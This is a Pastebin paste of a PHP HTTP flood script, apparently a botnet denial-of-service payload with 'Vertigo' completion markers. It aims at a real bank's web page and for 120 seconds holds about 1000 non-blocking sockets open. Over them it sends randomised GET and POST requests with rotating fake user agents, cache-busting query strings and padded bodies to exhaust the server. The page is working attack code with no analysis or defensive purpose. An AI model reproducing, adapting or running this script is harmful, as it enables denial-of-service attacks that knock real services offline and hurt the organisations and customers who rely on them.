Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function on_exit(){
- echo "###Vertigo###\n";
- echo "\nuau-repeat";
- }
- if(function_exists('register_shutdown_function')) register_shutdown_function("on_exit");
- $url = "http://www.bbt.com/bbtdotcom/financial-education/home_and_residence/accumulate_down_payment.page";
- $ua = array('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)','Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0','BlackBerry9300/5.0.0.606 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/301','Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110929 Iceweasel/3.5.16','IE/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322;)','GooglePocket/2.1 ( http://www.googlePocket.com/Pocket.html)','msnPocket-Products/1.0 (+http://search.msn.com/msnPocket.htm)','Opera/9.00 (Windows NT 5.1; U; en)','Safari/5.00 (Macintosh; U; en)','DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030505 Mozilla Firebird/0.6');
- $encoding = array("Accept-Encoding: gzip, deflate\r\n","Accept-Encoding: gzip\r\n","Accept-Encoding: deflate\r\n","Accept-Encoding: compress, gzip\r\n","Accept-Encoding: compress;q=0.5, gzip;q=1.0\r\n");
- $language = array("Accept-Language: en\r\n","Accept-Language: fr\r\n","Accept-Language: en-us,en;q=0.\r\n","Accept-Language: en,de.\r\n",);
- $charset = array("Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n","Accept-Charset: iso8859-5\r\n","Accept-Charset: UTF-8\r\n");
- if(substr($url, 0, 4) != 'http') $url = 'http://'.$url;
- $parts = parse_url($url);
- if(!isset($parts['path']) || $parts['path'] == '') $parts['path'] = '/';
- $cons = array();
- $data = array();
- $num = 1000;
- $time = time();
- while(1){
- if(time() - $time > 120){
- echo "###Vertigo###\n";
- echo "\nuau-repeat";
- exit;
- }
- for($i = 0;$i < $num - count($cons);$i++){
- $cons[] = con_create($parts['host'],80);
- $data[] = rand_header($parts['host'],$parts['path']);
- }
- foreach($cons as $id => $con){
- if(strlen($data[$id]) == 0){
- unset($cons[$id]);
- unset($data[$id]);
- continue;
- }
- $length = @socket_write($con,$data[$id]);
- if($length === false && @socket_last_error($con) != 11){
- unset($cons[$id]);
- unset($data[$id]);
- continue;
- }
- if($length > 0) $data[$id] = substr($data[$id],$length);
- }
- }
- function rand_header($host,$path){
- global $ua;
- global $encoding;
- global $charset;
- global $language;
- $accepts = array($encoding[rand(0,count($encoding)-1)],$charset[rand(0,count($charset)-1)],$language[rand(0,count($language)-1)]);
- shuffle($accepts);
- $header = '';
- $randaddr = rand(1,3);
- if($randaddr <= 2){
- $rand = md5(microtime().rand(0,500));
- if(preg_match("/\?/",$path))
- $path .= "&".substr($rand,5,10);
- else
- $path .= "?".substr($rand,5,10);
- }
- $method = rand(1,3);
- if($method <= 2) $header .= "GET $path HTTP/1.1\r\n";
- else $header .= "POST $path HTTP/1.1\r\n";
- $header .= "Host: $host\r\n"
- ."User-Agent: ".$ua[rand(0,count($ua)-1)]."\r\n"
- ."Accept: */*\r\n"
- .implode('',$accepts);
- $connection = rand(1,5);
- if($connection <= 3) $header .= "Connection: Keep-Alive\r\nKeep-Alive: ".rand(100,200)."\r\n";
- else $header .= "Connection: Close\r\n";
- $cache = rand(1,5);
- $plength = rand(50,1000);
- if($method > 2) $header .= "Content-Length: ".$plength."\r\n";
- if($cache <= 3) $header .= "Cache-Control: no-cache\r\n\r\n";
- else $header .= "Pragma: no-cache\r\n\r\n";
- if($method > 2) $header .= str_repeat('z',rand($plength-10,$plength+100));
- return $header;
- }
- function con_create($host,$port){
- $temp_sock = @socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
- @socket_set_nonblock($temp_sock);
- @socket_connect($temp_sock,$host,$port);
- return $temp_sock;
- }
- exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement